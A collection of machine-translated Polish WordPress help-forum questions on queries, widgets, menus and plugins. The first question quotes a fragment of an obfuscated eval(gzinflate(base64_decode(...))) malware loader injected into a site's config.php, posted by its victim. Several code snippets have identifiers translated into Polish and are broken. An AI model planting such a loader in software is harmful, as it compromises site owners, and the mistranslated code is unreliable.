text: Pracowałem nad projektem, w którym do pliku config.php wstawia się trochę PHP i powoduje to wiele problemów z SEO. Po tym wstępie wkleję jego próbkę (jest dość długa). Usunąłem go kilka razy, zmieniłem hasło FTP, hasło administratora i nazwę użytkownika, SALTs i sprawdziłem .htaccess - poza tym utknąłem. Jakiś pomysł, jak to rozwiązać? Część kodu, środek dużo obniżył; eval(gzinflate(base64_decode('pRn9c9o49ufczP0PKuPGuHHAGAihiZN2U7q7M9dtj6Y3c5OkjLBl8GJsr2wINM7/fu9J8kcI2dub67RI1vvU+5KeGvik+cwloQZZf1zzedt1ZZlcpyBPJMvX2pG1Dprepar9axCdwIH0gE+bythF4QS5moVpGq9H/ZZomjWCjjmNihq1vs40FxskklHEdv6/jmX36VOulSG/Bj9Z9GL3mKPHODawgnPPcBAheCc+qFKjBe8n3aMImMpEvSteAiXZR/ovb0UMgrDAs8IXtyOPNwPy2Yyf9vqj027LHnfzEoKLIbhMjdKE6juoGrE7goKguDPBX4+B8=')));


title: posty z nazwami stronicowania, a nie numerami

text: obecnie użycie `<!--nextpage-->` na poście pobiera tylko liczby. Chciałbym móc nazwać każdy podział strony, a następnie wywołać nazwę zamiast tylko liczby. Coś w stylu: `<!--nextpage: Wprowadzenie-->` Nie mówię o zmianie nazwy url, tylko o nazwach, które mają być użyte w linkach do stron. Czy ktoś może pomóc?


title: Jak sprawić, by pętla działała z $wpdb->get_results()

text: Wykonuję dość skomplikowane niestandardowe zapytanie na pierwszej stronie bloga i próbuję pokazać wyniki za pomocą The Loop, jak pokazano tutaj: Wyświetlanie postów przy użyciu niestandardowego zapytania SELECT Zapytanie filtruje posty według niestandardowego pola zawierającego datę (pokaż tylko posty gdzie to pole jest ustawione na dzisiaj lub później) i zamawia je przed tą datą. Zapytanie zwraca prawidłowe posty, ale jeśli przekażę je do The Loop, wyniki są wyświetlane tak, jakbym robił zwykłe zapytanie, a nie specjalistyczne (tj. Pojawiają się niewłaściwe posty). Ludzie w tym wątku na forum mają ten sam problem; Wykorzystałem pokazane tam obejście $GLOBALS, ale bezskutecznie. globalny $post; globalny $wpdb; $querystr = "SELECT wposts.* FROM $wpdb->posts wposts ...... pewne warunki i złączenia"; $eventsPosts = $wpdb->get_results($querystr, OBJECT); print_r($eventsPosts); // pokazuje POPRAWNE dane if ($wpdb->num_rows > 0) foreach ($eventsPosts as $post) { /* obejście */ $stored_post = clone $GLOBALS['post']; // Dlaczego, Wordpress, dlaczego? $GLOBALS['post'] = $post; // Dlaczego zmuszasz mnie do robienia tak okropnych rzeczy? setup_postdata($post); Poczta(); tytuł(); // pokazuje NIEPRAWIDŁOWY post /* obejście: Przywróć globalne */ $GLOBALS['post'] = clone $stored_post; } jednak ten wynik daje mi wynik tak, jakbym wykonał zwykłe zapytanie, a nie moje specjalne. Np. `the_title()` wyświetla tytuł wiadomości, której nie ma w wyniku zapytania. Jeśli testuję wynik niestandardowego zapytania: print_r($eventsPosts); Otrzymuję _poprawne_ posty. Tylko wtedy, gdy używam funkcji Loop, wyświetlane są nieprawidłowe wyniki. Czy istnieje kanoniczny, poprawny sposób na zrobienie tego, który działa?


title: Wtyczka do automatycznej zmiany tekstu kotwicy adresów URL na tytuł miejsc docelowych?

text: Powiedzmy, że w jednym z moich postów zamieszczam link do http://www.glumbo.com. Chcę, aby wordpress automatycznie zmieniał tekst kotwicy linku na tytuł glumbo.com. W jaki sposób mogę to zrobić?


title: Wtyczka prostych pól niestandardowe zapytanie

text: Mam zbiór postów dla rodzin. Używam wtyczki prostych pól do obsługi członków rodziny. Czy istnieje prosty sposób na zapytanie o posty na podstawie wartości z pól niestandardowych utworzonych przez wtyczkę simple fields. I see the meta keys in the admin:               _simple_fields_fieldGroupID_6_fieldID_1_numInSet_0     _simple_fields_fieldGroupID_6_fieldID_2_numInSet_0     _simple_fields_fieldGroupID_6_fieldID_3_numInSet_0          _simple_fields_fieldGroupID_6_fieldID_1_numInSet_1     _simple_fields_fieldGroupID_6_fieldID_2_numInSet_1     _simple_fields_fieldGroupID_6_fieldID_3_numInSet_1      where fieldID_1 is a dropdown for year (1950-2010),   fieldID_2 is a dropdown for gender (male or female)   fieldID_3 is a textfield for name How would I query to dostać wszystkie posty, w których płeć jest „męska” i uporządkowane według roku? Dziękuję! **EDYTUJ** Istnieje numInSet_N wartości. Niektóre mogą mieć 0, inne 10 lub więcej. Wtyczka prostych pól tworzy wartości ogólne dla każdego klucza. Na przykład _simple_fields_fieldGroupID_6_fieldID_1_numInSet_0 jest listą rozwijaną roku i ma następujące wartości klucza: dropdown_num_2 dropdown_num_3 dropdown_num_4 ... dropdown_num_62 Gdzie dropdown_num_2 to w rzeczywistości 1950, dropdown_num_3 to 1951 i tak dalej. To samo dotyczy listy rozwijanej płci, _simple_fields_fieldGroupID_6_fieldID_2_numInSet_0, która ma następujące wartości klucza: dropdown_num_2 dropdown_num_3 Gdzie dropdown_num_2 to w rzeczywistości „mężczyzna”, dropdown_num_3 to „kobieta”. Tak więc zapytanie, aby uzyskać wszystkie posty, w których płeć to „mężczyzna” i uporządkowane według roku, musiałoby sprawdzić _simple_fields_fieldGroupID_6_fieldID_2_numInSet_N == 'dropdown_num_2' i ORDER BY rok wszystkich dopasowanych postów.


title: Używanie obiektu $wpdb w widżecie

text:
Próbuję zrobić bardzo prosty widget, który uzyskuje dostęp do tabel zawartych w tej samej instancji bazy danych, co moja baza danych Wordpress, ale nie są tabelami Wordpress. Używam klasy wpdb zgodnie z kodeksem. Nie otrzymuję żadnych błędów, ale też nie otrzymuję żadnych wyników. Czy odpowiednio używam przedmiotu? A może powinienem rozwijać własną klasę dostępu do własnych tabel? Oto kod widżetu: widżet funkcji ($args,$instance) { extract($args); globalny $wpdb; $tytuł = $instancja['tytuł']; $catid = $instancja['catid']; $bieżący_użytkownik = wp_get_bieżący_użytkownik(); $sql = 'SELECT max(ID) jako MaxID, status FROM Clients WHERE UserID = '.$current_user->ID; $clientRow = $wpdb->get_results($sql); $out = '
'; $out .= 'Status klienta: '.$clientRow->status.'
'; echo $before_widget; echo $before_title.$title.$after_title; echo $out; echo $after_widget; }      Z góry dziękuję.


title: Post_type nie działa z widżetami?

text:
Znalazłem prawie to samo pytanie: http://stackoverflow.com/questions/4796165/multiple-loops-in-wordpress-second-loop-not-reseting, ale odpowiedź nie działa dla mnie. Mam post typu "portfolio" i pracuję nad widżetem wyświetlającym wszystkie elementy portfolio. Ten kod działa doskonale na portfelu stron: $loop = new WP_Query( array( 'post_type' => 'portfolio', 'posts_per_page' => 5 ) ); <?php while ( $loop->have_posts() ): $loop->the_post(); ?> (...) <?endwhile?> Ale kiedy zaimplementuję to w moich widżetach - pole "post_type" nie działa. Bez względu na to, co wpiszę jako typ posta - zawsze wyświetla WPISY zamiast POZYCJE PORTFOLIO. Nawet jeśli typ posta nawet nie istnieje (a jak wszyscy wiemy, nie powinien nic wyświetlać, jeśli nie ma takiego typu posta!). Uważam, że problem jest poza moim widżetem, w którym jest sekcja bloga (pętla z loop.php, brak kodu do wyświetlenia, ponieważ jest tylko "while ( have_posts() ) : the_post();") [edytuj] Mogę się mylić, usunąłem każdą linię kodu z loop.php, a mój widżet nadal wyświetla posty. Jakieś pomysły, jak to naprawić? [edycja #2] Ok, więc moja strona wygląda jak każdy normalny blog Wordpress: header.php loop.php > obszar widżetów footer.php Prawie nie ma kodu PHP w nagłówku i stopce (przynajmniej nie ma pętli itp.). Pętla.php jest też normalna: <?php if ( ! have_posts() ) : ?> (...) <?php endif; ?> <?php while ( have_posts() ): the_post(); ?> (...) <?php endwhile; ?> W rzeczywistości widżet RÓWNIEŻ nie jest wyjątkowy: function nazwa_mojego_widgetu_load_widgets() { register_widget( 'mojaNazwaWidgetu' ); } class myWidgetName extends WP_Widget { function myWidgetName() { (...) } function widget( $args, $instance ) { extract( $args ); $title = apply_filters('widget_title', $instance['title'] ); $liczba = $instancja['liczba']; echo $before_widget; if ( $title ) echo $before_title . $tytuł . $po_tytule; if ( $number ) echo "
"; ?> <?php $loopWithSuperUniqueName = new WP_Query( array( 'post_type' => 'cokolwiek', /* i to nie działa */ 'posts_per_page' => 15) ); ?> <?php while ( $pętlaZNazwąSuperUnikalną->have_posts() ) : $pętlaZNazwąSuperUnikalną->post(); ?>
<?php the_title(); ?>
 /* zawsze wyświetla WPISY, nawet jeśli 'post_type' => 'alalaaolbadiobladaWhathever' */ <?php endwhile; ?> <?php echo "
"; ?> <?php echo $after_widget; } function update( $new_instance, $old_instance ) { (...) } function form( $instance ) { (...) } itd. Kod widżetu jest OK, bo opracowałem kilka podobnych widżetów i DZIAŁAJĄ . Zaczynam myśleć, że coś jest nie tak z Wordpressem, a nie z moim kodem.


title: Multisite, z wirtualnym rootem

text: Mam sieć wielostanowiskową z define('DOMAIN_CURRENT_SITE', 'fruit.shop.com'); Aby "Administrator sieci" był na fruit.shop.com, ale nadal mógł dodawać subdomeny z domeny drugiego poziomu. Chciałbym użyć tego do tworzenia blogów w lokalizacjach takich jak apple.shop.com orange.shop.com pineapple.shop.com A shop.com wskazuje zupełnie inny serwer. Jak mam to zrobic?


title: jak ukryć podmenu dla nieaktywnych stron

text: Chciałbym rozwinąć tylko aktywną część menu paska bocznego i ukryć części, które nie mają nic wspólnego z faktycznym zaznaczeniem. Podobnie jak w przypadku każdego Eksploratora, takiego jak menedżer plików, lub jak to jest z menu akordeonu. W domyślnym motywie TwentyTen jest to definicja klasy aktywnego podmenu: element-menu typ-elementu-post_type menu-item-object-page current-menu-ancestor current-menu-parent current_page_parent current_page_ancestor i to jest ta dla nieaktywnego podmenu: element-menu typ-elementu-post_type menu-element-obiektu-strona Zastanawiam się więc nad użyciem czegoś takiego: li .menu-item ul .sub-menu { display: none; } li .current-menu-parent ul .sub-menu { display: inherit; } Czy coś takiego zadziała? To musi być dość powszechny problem, ale w Google nie znalazłem ani jednego rozwiązania. Aby zorientować się, dlaczego tak ważne jest zmniejszenie menu, oto strona, nad którą pracuję, gdzie menu jest zbyt skomplikowane: http://kek.org.hu/kozossegikertek


title: echo do_shortcode nie działa na szablonie motywu

text:
Nie wiem, co jest przyczyną problemu, ale `echo do_shortcode` nie działa na szablonie mojego motywu, ale działa na szablonie mojej wtyczki, a shortcode działa na moich postach i stronach. Dość dziwne. Oto kod <?php $my_query = new WP_Query('category_name=video post&posts_per_page=10'); while ($my_query->have_posts()) : $my_query->the_post(); $do_not_duplicate = $post->ID; ?>

<a href = "<?php the_permalink();?>"><?php the_title();?>
 <?php the_post_thumbnail(); ?>
 <?php the_excerpt();?> <?php $urlbox = get_video_box(); echo $urlbox[0]; // wypisz adres URL posta echo $urlbox[1]; // wypisz opis adresu URL posta echo do_shortcode('[jwplayer config="Out-of-the-Box" file="' . $urlbox[0] . '" image="http://www.mywebsite .com/myimage.jpg"]'); ?>

 <?php endwhile; ?> Używam wtyczki odtwarzacza JW, znowu shortcode działa na szablonie wtyczki i post/strona . ale na szablonie mojego motywu nie działa .. pomóż mi tutaj. Dziękuję


title: Próba uzyskania właściwości nie-obiektu w wp-includes/capabilities.php

text: Raz na minutę otrzymuję następującą sekwencję powiadomień w debug.log: [23 października 2012 13:27:33 UTC] Uwaga PHP: Próbuję pobrać właściwość non-object w mysite/wp-includes/capabilities.php on-line 1022 [23 października 2012 13:27:33 UTC] Uwaga PHP: Próba pobrania właściwości non-object w mysite/wp-includes/capabilities.php w wierszu 1023 [23 października 2012 13:27:33 UTC ] Uwaga PHP: Próba pobrania właściwości non-object w mysite/wp-includes/capabilities.php w wierszu 1023 [23-Oct-2012 13:27:33 UTC] Uwaga PHP: Próba pobrania właściwości non-object w mysite/wp-includes/capabilities.php w wierszu 1026 [23 października 2012 13:27:33 UTC] Uwaga PHP: Próbuję pobrać właściwość non-object z mysite/wp-includes/capabilities.php w wierszu 1026 [ 23 października 2012 13:27:35 UTC] Uwaga PHP: Próbuję pobrać właściwość non-object w mysite/wp-includes/capabilities.php w wierszu 1022 [23 października 2012 13:27:35 UTC] PHP Uwaga: Próbuję pobrać właściwość non-object w mysite/wp-includes/capabilities.php on-line 1023 [23 października 2012 13:27:35 UTC] Uwaga PHP: Próbuję pobrać właściwość non-object w mysite/wp-includes/capabilities.php w wierszu 1023 [23 października 2012 13:27:35 UTC ] Uwaga PHP: Próba pobrania właściwości non-object w mysite/wp-includes/capabilities.php w wierszu 1026 [23 października 2012 13:27:35 UTC] Uwaga PHP: Próba pobrania właściwości non-object w mysite/wp-includes/capabilities.php w wierszu 1026 Wyłączyłem wszystkie wtyczki i wybrałem domyślny motyw Twenty Eleven, ale nadal go otrzymuję. Jak mogę rozwiązać ten problem? Używam WordPressa 3.4.2.


title: Jak uzyskać dane z tablicy za pomocą get_user_meta()

text:
Utworzyłem niestandardowe pole profilu użytkownika <?php $basics = get_the_author_meta( 'fbasics', $user->ID ); ?>

<wartość wejściowa="lekcja1" name="fbasics[]" <?php if (is_array($basics)) { if (in_array("lekcja1", $podstawy)) { ?>zaznaczone ="zaznaczone"<?php } }?> type="pole wyboru" /> <?php _e('Lekcja 1', 'gprofile'); ?>

<wartość wejściowa="lekcja2" name="fbasics[]" <?php if (is_array($podstawy)) { if (in_tablica("lekcja2", $podstawy)) { ?> check="zaznaczone"<?php } }?> type="checkbox" /> <?php _e('Lekcja 2', 'gprofile'); ?>

 Teraz muszę użyć danych z front-endu Wordpress, aby wyświetlić informacje. Myślę, że muszę użyć funkcji `get_user_meta()`, ale nie rozumiem, jak używać jej do uzyskania wartości tablicy. Jak uzyskać dane z tablicy za pomocą `get_user_meta()`?


title: Potrzebujesz wyjaśnienia, jak poprawnie wywołać wp_mail()

text: Chcę wywołać wp_mail() z pliku php bez szablonu, ale kiedy to zrobię, to się nie powiedzie i nie rozumiem, dlaczego. Na przykład, powiedzmy, że mam plik php, który składa się tylko z tego: <?php echo 'hi'; $mail_sent = wp_mail('przyklad@przyklad.com', 'temat', 'wiadomość'); echo $mail_wysłany; ?> Jeśli załaduję ten plik php bezpośrednio w przeglądarce, zostanie wydrukowane tylko „cześć”. Jeśli całkowicie usunę `echo 'hi';`, nic nie zostanie wydrukowane, co wskazuje mi, że wp_mail() nie może być wywołane w tym konkretnym kontekście. Jednakże, jeśli dodam `/* Nazwa szablonu: SomeName */` do pliku i utworzę nową stronę używając `SomeName` jako szablonu, wp_mail() wykona się poprawnie. Najwyraźniej brakuje mi kluczowej informacji dotyczącej tego, jak poprawnie wywołać wp_mail(). Powodem, dla którego chcę to zrobić, jest to, że motyw, którego używam, zawiera formularz kontaktowy, który przesyła e-mail za pośrednictwem żądania ajax mniej więcej tak: form.submit(function() { $j.ajax({ type: 'GET' , url: "http://www.example.com/wp-content/themes/themeX/send_mail.php", dane: form.serialize(), }); }); Obecnie `send_mail.php` wywołuje funkcję php mail(), która "działa", ale jest bardzo niestabilna. Chcę, aby wywołał wp_mail(), abym mógł skorzystać z tej wtyczki, która wysyła pocztę za pomocą serwera smtp. Więc moje pytanie brzmi: jak mogę sprawić, by wp_mail() działał w tej sytuacji? Dziękuję!


title: Jak pobrać dane (tytuły, miniatury i pola niestandardowe) z wielu postów, aby skutecznie zapełnić nową tablicę?

text: Muszę znać najbardziej wydajną metodę pobierania 3 danych z wielu postów: * Tytuł posta * Miniatura * Pole niestandardowe Próbuję zbudować mapę postów w Google, używając danych przechowywanych w postach WP. Każdy post ma współrzędne geograficzne i miniaturę. Chcę pobrać tytuł, niestandardowe pole geograficzne i miniaturę i wykorzystać te dane do utworzenia interesujących miejsc na mapie. Posty są przechowywane jako niestandardowy typ postów zwany listami. Oto demo: http://www.barbadospropertylist.com/map/ Oto mój kod zapytania: $args=array( 'showposts' => 45 ); zapytanie_posty( $args ); Obecnie nie jest to zapytanie o więcej niż 45 postów. Mam ponad 400 ofert, o które chciałbym zapytać. Nie wiem, dlaczego zawodzi.


title: Paski TinyMCE pękają w edytorze

text: posty są wyświetlane poprawnie w interfejsie użytkownika. Ale kiedy przechodzę do edycji, zawartość wewnątrz tinyMCE jest bez przerw?! Więc muszę kopiować moją zawartość z frontendu i wklejać ją do edytora za każdym razem, gdy chcę edytować.. bardzo głupie - nie wiem, co zrobiłem, może to wtyczka "Wyłącz wpautop", ale teraz jest wyłączona. Kiedy klikam Zapisz bez obejścia „kopiuj i wklej”, zawartość jest zawijana w dokładnie jeden tag paragrafu w interfejsie użytkownika. Czy ktoś ma pomysł? (i tak, mówię o trybie „wizualnym” tinymce, a nie trybie tekstowym)


title: Ograniczanie wyszukiwania zaplecza administracyjnego do tytułu

text: Czy ktoś ma jakieś sugestie, jak ograniczyć wyszukiwanie w obszarze administracyjnym WP do tylko publikowania tytułów? To bardzo frustrujące, gdy chcesz otworzyć konkretną stronę i uzyskać setki wyników, które zawierają to słowo w treści posta.


title: Multisite pobierz najnowsze załączniki obrazów z identyfikatora bloga

text: Tworzę sieć WordPress i szukam sposobu, aby pobrać najnowsze obrazy z podblogów, ale mam z tym pewne problemy. Jaki jest najłatwiejszy sposób, aby to się stało?


title: Otrzymuję błąd „Nagłówki już wysłane” dla tworzonej przeze mnie wtyczki, gdy próbuję się zalogować

text:
Próbuję stworzyć swoją pierwszą wtyczkę. Jak na razie działa dobrze, ale jest jeden błąd: otrzymuję komunikat PHP „Nagłówki już wysłane” podczas próby zalogowania się do wp-admin. Jeśli usunę plik wtyczki z katalogu wpcontent/plugins, zaloguj się jak zwykle, a następnie zastąp plik wtyczki, działa dobrze - wydaje się, że dzieje się tak przy logowaniu i wylogowywaniu. Mój (skrócony) kod to: <?php /* Nazwa wtyczki: Product Manager Plugin URI: http://www.tech-knowledge.com.au Opis: Dodaj, edytuj i usuń produkty Wersja: 1.0 Autor: Ja Autor URI: http://www.tech-knowledge.com.au Licencja: ograniczona */ if ( is_admin() ){ /* Wywołaj kod HTML */ add_action('admin_menu', 'prodmanager_admin_menu'); function prodmanager_admin_menu() { add_options_page('Menedżer produktu', 'Menedżer produktu', 'administrator', 'menedżer-produktu', 'prodmanager_html_page'); } } function prodmanager_html_page() { ?>

Menedżer produktu

 ?> Daj mi znać, jeśli chcesz zobaczyć to wszystko . Każda rada byłaby naprawdę mile widziana! Dziękuję!


title: Niestandardowe menu nie wyświetlają się

text:
Kontynuując moje ostatnie nierozwiązane pytanie dotyczące menu, problem rozszerzył się jeszcze bardziej. Moje menu nie drukują się nigdzie w kodzie. Rejestruję menu functions.php: add_action( 'after_setup_theme', 'your_newtheme_setup' ); if ( ! function_exists( 'twoja_nowa_konfiguracja_motywu' ) : function twoja_nowa_konfiguracja_motywu() { if (function_exists('register_nav_menu')) { register_nav_menus( array( 'main-menu' => 'Menu główne', 'footer-menu' => ' Stopka Menu', 'products-menu' => 'Menu Produktów', 'legal-menu' => 'Menu Prawne')); } } endif; Następnie wywołuję menu w header.php: wp_nav_menu( array( 'theme_location' => 'main-menu' ) ); Powoduje to, że nic nie jest drukowane! Próbuję również umieścić menu w sidebar_footer.php, gdzie stworzyłem widżet za pomocą widżetu „Niestandardowe menu” i stworzyłem 3 niestandardowe menu: menu stopki, menu produktów i menu prawne i znowu brak menu są drukowane! Widżet drukuje przynajmniej nagłówek widżetu, ale samo menu nic nie produkuje! Jest to wyraźnie problem ze wszystkimi menu w moim motywie, którego nie mogę rozwiązać! WAŻNA UWAGA: Menu główne zbudowałem ręcznie, używając następującego kodu, który znalazłem w dokumentach wordpress: $menu_name = 'main-menu'; if ( ( $ lokalizacje = get_nav_menu_locations() ) && isset( $lokalizacje[ $menu_name] ) ) { $menu = wp_get_nav_menu_object( $lokalizacje[ $menu_name] ); $menu_items = wp_get_nav_menu_items($menu->term_id); $menu_list = '
'; foreach ( (tablica) $menu_items as $key => $menu_item ) { $title = $menu_item->title; $url = $menu_item->url; $menu_list .= '
' . $tytuł . '
'; } $menu_list .= '
'; } else { $menu_list = '

Brak menu

'; } echo $menu_list; ?> INFORMACJE DODATKOWE: Zrobiłem trochę debugowania w funkcji wp_nav_menu() i stwierdziłem, że elementy menu znikają podczas tego wywołania: $items = apply_filters( 'wp_nav_menu_items', $items, $args ); w wierszu: 223 (lub około) w pliku: nav-menu-template.php


title: Drugie niestandardowe archiwum typu post

text: Mam niestandardowy typ posta `event` i używając filtrów, skonfigurowałem stronę archiwum tak, aby wyświetlała tylko wydarzenia w przyszłości i w porządku chronologicznym na podstawie wartości meta (data rozpoczęcia). Chcę stworzyć drugą stronę archiwum, aby pokazać wydarzenia z przeszłości, wraz z paginacją, uporządkowaną odwrotnie chronologicznie według tej samej wartości meta. Moją pierwszą myślą jest użycie skróconego kodu na normalnej stronie, ale nie jestem pewien, jak uruchomić paginację. Ewentualnie, czy istnieje sposób na utworzenie „ogólnej” strony archiwum? Czy muszę przejść do przepisywania zasad?


title: Funkcja motywu logowania Wordpress/Buddypress

text: Hej, zainstalowałem buddypress i chciałem wiedzieć, czy istnieje funkcja motywu, którą można dodać, aby na moim motywie było napisane > Zaloguj • Zarejestruj się, a po zalogowaniu się wyświetla > Mój profil • Wyloguj się


title: czy istnieje sposób na pokazanie tytułu posta po obrazie?

text:
Próbując wyświetlić tytuł posta po obrazie na głównej stronie bloga i pojedynczej stronie, próbowałem edytować content.php, ale nie udało mi się uzyskać potrzebnego rezultatu, który jest zasadniczo IMAGE TITLE META CONTENT Próbowałem zmienić kod w content.php, ale udało się tylko wyświetlić tytuł pod obrazem, ale także pod treścią <article id="post-<?php the_ID(); ?>" <?php post_class(); ?>> <?php if ( is_sticky() && is_home() && ! is_paged() ) : ?>
 <?php _e( 'Polecany post', 'dwadzieścia dwanaście' ); ?>
 <?php endif; ?>  <?php the_post_thumbnail(); ?> <?php if ( is_single() ) : ?>
<?php the_title(); ?>
 <?php else : ?>
 <a href="<?php the_permalink(); ?>" title="<?php echo esc_attr( sprintf( __ ( 'Permalink do %s', 'dwadzieścia dwunastu' ), the_title_attribute( 'echo=0' ) ) ); ?>" rel="zakładka"><?php the_title(); ?>
 <?php endif; // is_single() ?> <?php if ( comments_open() ) : ?>
 <?php comments_popup_link( '' . __( ' Zostaw odpowiedź', 'dwadzieścia dwanaście' . '', __( '1 odpowiedź', 'dwadzieścia dwanaście' ), __( '% odpowiedzi', 'dwadzieścia dwanaście') ); ?>
 <?php endif; // comments_open() ?>   <?php dwadzieściatwelve_entry_meta(); ?> <?php edit_post_link( __( 'Edytuj', 'dwadzieścia dwanaście' ), '', '' ); ?> <?php if ( is_singular() && get_the_author_meta( 'opis' ) && is_multi_author() ) : // Jeśli użytkownik wypełnił swój opis i jest to blog z wieloma autorami, pokaż biografię na jego wpisach. ?>

 <?php echo get_avatar( get_the_author_meta( 'user_email' ), apply_filters( 'dwudziestudwunastu_autorów_bio_avatar_size', 68 ) ); ?>

<?php printf( __( 'O %s', 'dwadzieścia dwanaście' ), get_the_author( ) ); ?>

<?php the_author_meta( 'opis' ); ?>

 <a href="<?php echo esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ); ?>" rel="autor"> <?php printf( __( 'Wyświetl wszystkie posty %s →', 'dwadzieścia dwanaście' ), get_the_author() ); ?>


title: Zmienianie obrazów wstawionych do postów w celu leniwego ładowania za pomocą PHP Simple HTML DOM Parser

text:
Chcę znaleźć solidne rozwiązanie, które umożliwiłoby leniwe ładowanie obrazów wstawianych do posta. Istnieje wiele rozwiązań typu lazyload. Nie zamierzam zaspokajać żadnego z nich konkretnie, ale raczej po prostu metodą edycji dom za pomocą PHP bez wyrażeń regularnych. Prosty parser HTML DOM wydaje się do tego idealny, po prostu nie jestem pewien, co tutaj robię. Mogę znaleźć wszystkie obrazy i edytować atrybuty tak, aby pasowały do skryptu lazyload: // Dodaj parser PHP Dom require "assets/simple_html_dom.php"; funkcja add_image_placeholders( $zawartość ) { $html = str_get_html($zawartość); // Znajdź wszystkie obrazy foreach($html->find('img') as $element) { $img_src = $element->src; $placeholder = 'data:image/gif;base64,R0lGODlhAQABAIAAAMLCwgAAACH5BAAAAAAALAAAAAABAAEAAAICRAEAOw=='; $img_class = $element->klasa . " leniwy"; $img_width = $element->szerokość; $img_height = $element->wysokość; $img_id = $element->id; $img_alt = $element->alt; $img_title = $element->tytuł; echo '
'; } return $html; } add_filter( 'the_content', 'add_image_placeholders', 99 ); To oczywiście po prostu grupuje je na początku postu. Musiałbym jakoś zapętlić całą zawartość... Oto trochę o tym, jak dostosować zachowanie parsowania, ale nie mogłem go uruchomić. Dziękuję.


title: WP Query uzyskuje posty według określonych identyfikatorów autorów, jeśli jeden z kilku zalogowanych autorów

text: Mam własną stronę szablonu, w której wyświetlane są posty autorów 1,2 i 3. <?php $the_query = new WP_Query( 'posts_per_page=-5&author=1,2,3' ); ?> Jak mogę użyć w tym celu **pobierz aktualnego użytkownika**, aby posty były widoczne tylko dla autora z jednym z tych identyfikatorów (1,2 lub 3) i były zalogowane? Innymi słowy: Autor 4 nie zobaczy żadnych postów. Autorzy 1,2,3 zobaczą nawzajem posty, jeśli są aktualnie zalogowani. Z góry bardzo dziękuję-


title: Wyświetlaj szczegóły wpisu według identyfikatora wpisu

text: Muszę wyświetlić szczegóły wpisu według identyfikatora na szablonie strony głównej (`front-page.php`). Na pierwszej stronie chcę wyświetlić tytuł posta, fragment i wyróżniony obraz. Próbowałem to zrobić, ale nie mam pojęcia, jak powinienem to robić. Czy w WordPressie jest jakaś funkcja, której można użyć do tego?


title: qProblemy z tłumaczeniem 2.5.28 i WordPress 3.3.1

text: Czy ktoś wie, jak rozwiązać problemy w qTranslate 2.5.28 z WordPress 3.3.1? * http://www.qianqin.de/qtranslate/forum/viewtopic.php?f=3&t=3045 * http://www.qianqin.de/qtranslate/forum/viewtopic.php?f=3&t=2841 * http ://www.qianqin.de/qtranslate/forum/viewtopic.php?f=3&t=3004 * http://wordpress.org/support/topic/plugin-qtranslate-formatting-missing-in-editor * http:/ /wordpress.org/support/topic/qtranslate-breaks-the-way-wordpress-handles-paragraphs * http://www.qianqin.de/qtranslate/forum/viewtopic.php?f=3&t=3016 Każda pomoc jest bardzo ważna doceniane.


title: Jak uzyskać permalink i tytuł z identyfikatora posta?

text:
Zapisałem tablicę identyfikatorów postów i chciałbym wyświetlić posty jako linki, co oznacza, że muszę uzyskać tytuł i permalink dla identyfikatora posta - $id. Lista powinna być powtórzona następującym warunkiem if, co oznacza, że muszę jakoś zastąpić $id permalinkiem i tytułem. W tej chwili kod zawiera jedynie numery identyfikacyjne poczty. <?php if(count($related)){ echo "
Czytaj więcej
"; foreach($powiązane jako $id){ echo "
$id
"; } echo "

"; } ?>


title: Zasoby dla początkujących dotyczące struktury motywów korzeni

text: Tworzę motyw WordPress, używając Roots jako motywu startowego. Czy są jakieś tutoriale, które mówią mi, jak zbudować motyw z Roots? Pracowałem już z motywami startowymi, ale ten jest zupełnie nowym potworem. Nie wiem, co mam edytować, a czego nie.


title: Zaawansowane zapytanie dotyczące relacji pól niestandardowych plus zapytanie w środku

text:
Obecnie rozwijam witrynę, mam trzy niestandardowe typy postów (prelegenci, wydarzenia, filmy). Każde wydarzenie ma relację z prelegentami, więc podczas tworzenia wydarzenia wybierają, którzy prelegenci wypowiadali się na tym wydarzeniu. moja strona wydarzenia działa dobrze i mogę zadzwonić do prelegentów w porządku. Problem, który mam w moich filmach typu niestandardowy post podczas tworzenia wideo, użytkownik ma relacje 2, które wybierają, na którym wydarzeniu został nagrany i dla jakiego głośnika jest przeznaczony. Więc na mojej stronie wydarzeń pod każdym głośnikiem. Chcę, żeby nagranie ich wideo na to wydarzenie. próbowałem użyć zapytania meta, ale nie mogę go uruchomić. Zamieściłem na forum ACF bez odpowiedzi. Jakakolwiek pomoc byłaby naprawdę wdzięczna, próbowałem wszystkiego, o czym mogę pomyśleć. http://support.advancedcustomfields.com/forums/topic/nesting-relationship-query/ Powyżej znajduje się post na forum obsługi zaawansowanych pól niestandardowych. Oto pojemnik na wklejanie moich events.php http://pastebin.com/LB8bdyKj Oto sekcja kodu , <?php $posts = get_field('speakers'); if( $posts ) : foreach( $posts as $post) : setup_postdata($post); ?>

 <img src="<?php the_field('speakers_image'); ?>" />

<?php the_title();?>
 <?php $videos = get_posts( array( 'post_type' => 'videos', 'meta_query' => array( 'relation' => 'AND ', array( 'key' => 'speaker', 'value' => get_the_ID() ), array( 'key' => 'events', 'value' => $eventid) ) ) ); $videoquerys = nowe WP_Query($video); ?> Wyświetl profil

 Powyżej to, co wypróbowałem informacje między wydarzeniem a mówcą. i uzyskanie pasującego filmu wideo, z którym mam problem.


title: Dynamicznie określaj URI do skryptów i stylów zawartych w klasie, które można dodać z plugin/theme/child theme/mu plugin

text: Pracuję nad klasą ustawień API, którą chciałbym móc wrzucić do wtyczki, wtyczki wpmu, motywu lub katalogu motywów potomnych i po prostu działać. Mój problem polega na tym, że mam problem z ustaleniem, jak określić identyfikatory URI do dołączania skryptów i stylów w locie. Chciałbym, aby to działało bez względu na to, jak skonfigurowana jest instalacja WP witryny, więc powinno działać wszędzie tam, gdzie znajdują się katalogi wp-content, plugins, mu-plugins i motywy. Znalazłem ten post, który dotyczy czegoś podobnego, ale to nie jest to samo, ponieważ dotyczy ścieżek, a nie identyfikatorów URI. Poza tym (szczerze mówiąc) trudno mi się owinąć wokół głowy i chciałbym uniknąć zejścia do tej króliczej nory, jeśli nie będzie tam mojej marchewki. Jakieś rady, jak do tego podejść?


title: Problem z danymi Wordpress Ajax

